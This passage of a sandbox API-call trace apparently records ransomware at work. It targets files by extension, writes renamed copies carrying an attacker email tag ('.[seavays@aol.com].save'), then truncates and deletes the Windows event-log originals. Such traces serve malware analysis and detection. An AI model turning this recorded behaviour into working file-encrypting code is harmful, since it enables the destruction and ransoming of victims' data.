-1 [0062.597] lstrlenW (lpString=".docx") returned 5 [0062.597] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.597] lstrlenW (lpString=".pdf") returned 4 [0062.597] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.597] lstrlenW (lpString=".xls") returned 4 [0062.597] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.597] lstrlenW (lpString=".xlsx") returned 5 [0062.597] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.597] lstrlenW (lpString=".ppt") returned 4 [0062.597] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.597] lstrlenW (lpString=".zip") returned 4 [0062.597] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".rar") returned 4 [0062.598] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".bz2") returned 4 [0062.598] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".7z") returned 3 [0062.598] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.598] lstrlenW (lpString=".dbf") returned 4 [0062.598] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.598] lstrlenW (lpString=".1cd") returned 4 [0062.598] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.598] lstrlenW (lpString=".jpg") returned 4 [0062.598] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.598] lstrlenW (lpString=".doc") returned 4 [0062.598] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".docx") returned 5 [0062.598] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.598] lstrlenW (lpString=".pdf") returned 4 [0062.598] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".xls") returned 4 [0062.598] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".xlsx") returned 5 [0062.598] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.598] lstrlenW (lpString=".ppt") returned 4 [0062.598] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.598] lstrlenW (lpString=".zip") returned 4 [0062.598] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.598] lstrlenW (lpString=".rar") returned 4 [0062.599] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.599] lstrlenW (lpString=".bz2") returned 4 [0062.599] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.599] lstrlenW (lpString=".7z") returned 3 [0062.599] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.599] lstrlenW (lpString=".dbf") returned 4 [0062.599] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.599] lstrlenW (lpString=".1cd") returned 4 [0062.599] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.599] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.599] lstrlenW (lpString=".jpg") returned 4 [0062.599] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.599] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.599] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0062.599] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.599] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0062.599] CloseHandle (hObject=0x370) returned 1 [0062.599] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0062.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.600] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.600] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0062.601] GetLastError () returned 0x0 [0062.601] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.603] WriteFile (in: hFile=0x394, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.605] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.605] WriteFile (in: hFile=0x394, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x132, lpOverlapped=0x0) returned 1 [0062.606] SetEndOfFile (hFile=0x394) returned 1 [0062.606] CloseHandle (hObject=0x394) returned 1 [0062.608] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.608] SetEndOfFile (hFile=0x370) returned 1 [0062.609] CloseHandle (hObject=0x370) returned 1 [0062.609] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.610] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0062.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.610] lstrlenW (lpString=".doc") returned 4 [0062.610] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.610] lstrlenW (lpString=".docx") returned 5 [0062.610] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.610] lstrlenW (lpString=".pdf") returned 4 [0062.610] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.610] lstrlenW (lpString=".xls") returned 4 [0062.610] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.610] lstrlenW (lpString=".xlsx") returned 5 [0062.610] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.610] lstrlenW (lpString=".ppt") returned 4 [0062.610] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.610] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.610] lstrlenW (lpString=".zip") returned 4 [0062.610] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.610] lstrlenW (lpString=".rar") returned 4 [0062.610] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.610] lstrlenW (lpString=".bz2") returned 4 [0062.611] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString=".7z") returned 3 [0062.611] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.611] lstrlenW (lpString=".dbf") returned 4 [0062.611] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.611] lstrlenW (lpString=".1cd") returned 4 [0062.611] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.611] lstrlenW (lpString=".jpg") returned 4 [0062.611] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.611] lstrlenW (lpString=".doc") returned 4 [0062.611] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString=".docx") returned 5 [0062.611] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.611] lstrlenW (lpString=".pdf") returned 4 [0062.611] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString=".xls") returned 4 [0062.611] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString=".xlsx") returned 5 [0062.611] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.611] lstrlenW (lpString=".ppt") returned 4 [0062.611] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.611] lstrlenW (lpString=".zip") returned 4 [0062.611] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.611] lstrlenW (lpString=".rar") returned 4 [0062.611] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.612] lstrlenW (lpString=".bz2") returned 4 [0062.612] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.612] lstrlenW (lpString=".7z") returned 3 [0062.612] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.612] lstrlenW (lpString=".dbf") returned 4 [0062.612] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.612] lstrlenW (lpString=".1cd") returned 4 [0062.612] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.612] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0062.612] lstrlenW (lpString=".jpg") returned 4 [0062.612] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.612] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.612] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0062.612] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.612] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0062.612] CloseHandle (hObject=0x370) returned 1 [0062.612] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0062.613] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.613] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.613] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.613] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.613] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0062.613] GetLastError () returned 0x0 [0062.613] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.617] WriteFile (in: hFile=0x394, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.619] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.619] WriteFile (in: hFile=0x394, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x136, lpOverlapped=0x0) returned 1 [0062.619] SetEndOfFile (hFile=0x394) returned 1 [0062.619] CloseHandle (hObject=0x394) returned 1 [0062.621] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.621] SetEndOfFile (hFile=0x370) returned 1 [0062.622] CloseHandle (hObject=0x370) returned 1 [0062.623] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.623] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0062.623] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0062.623] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0062.623] lstrlenW (lpString=".doc") returned 4 [0062.623] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.623] lstrlenW (lpString=".docx") returned 5 [0062.623] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.623] lstrlenW (lpString=".pdf") returned 4 [0062.623] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.623] lstrlenW (lpString=".xls") returned 4 [0062.623] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.623] lstrlenW (lpString=".xlsx") returned 5 [0062.623] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.624] lstrlenW (lpString=".ppt") returned 4 [0062.624] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0062.624] lstrlenW (lpString=".zip") returned 4 [0062.624] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.624] lstrlenW (lpString=".rar") returned 4 [0062.624] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.624] lstrlenW (lpString=".bz2") returned 4 [0062.624] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.624] lstrlenW (lpString=".7z") returned 3 [0062.624] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0062.624] lstrlenW (lpString=".dbf") returned 4 [0062.624] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0062.624] lstrlenW (lpString=".1cd") returned 4 [0062.624] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0062.624] lstrlenW (lpString=".jpg") returned 4 [0063.032] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0063.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0063.033] lstrlenW (lpString=".doc") returned 4 [0063.033] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString=".docx") returned 5 [0063.033] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.033] lstrlenW (lpString=".pdf") returned 4 [0063.033] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString=".xls") returned 4 [0063.033] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString=".xlsx") returned 5 [0063.033] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.033] lstrlenW (lpString=".ppt") returned 4 [0063.033] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0063.033] lstrlenW (lpString=".zip") returned 4 [0063.033] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString=".rar") returned 4 [0063.033] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString=".bz2") returned 4 [0063.033] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString=".7z") returned 3 [0063.033] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0063.033] lstrlenW (lpString=".dbf") returned 4 [0063.033] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0063.033] lstrlenW (lpString=".1cd") returned 4 [0063.033] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0063.033] lstrlenW (lpString=".jpg") returned 4 [0063.033] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.034] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.034] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0063.034] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.463] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0063.463] CloseHandle (hObject=0x2ec) returned 1 [0063.464] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0063.464] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0064.001] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.001] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.001] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0064.002] GetLastError () returned 0x0 [0064.002] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.004] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.006] ReadFile (in: hFile=0x314, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.006] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x13a, lpOverlapped=0x0) returned 1 [0064.007] SetEndOfFile (hFile=0x2e8) returned 1 [0064.007] CloseHandle (hObject=0x2e8) returned 1 [0064.009] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.009] SetEndOfFile (hFile=0x314) returned 1 [0064.011] CloseHandle (hObject=0x314) returned 1 [0064.011] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.011] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0064.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.011] lstrlenW (lpString=".doc") returned 4 [0064.011] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.011] lstrlenW (lpString=".docx") returned 5 [0064.012] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.012] lstrlenW (lpString=".pdf") returned 4 [0064.012] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString=".xls") returned 4 [0064.012] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString=".xlsx") returned 5 [0064.012] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.012] lstrlenW (lpString=".ppt") returned 4 [0064.012] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.012] lstrlenW (lpString=".zip") returned 4 [0064.012] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString=".rar") returned 4 [0064.012] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString=".bz2") returned 4 [0064.012] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString=".7z") returned 3 [0064.012] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.012] lstrlenW (lpString=".dbf") returned 4 [0064.012] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.012] lstrlenW (lpString=".1cd") returned 4 [0064.012] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0064.012] lstrlenW (lpString=".jpg") returned 4 [0064.012] 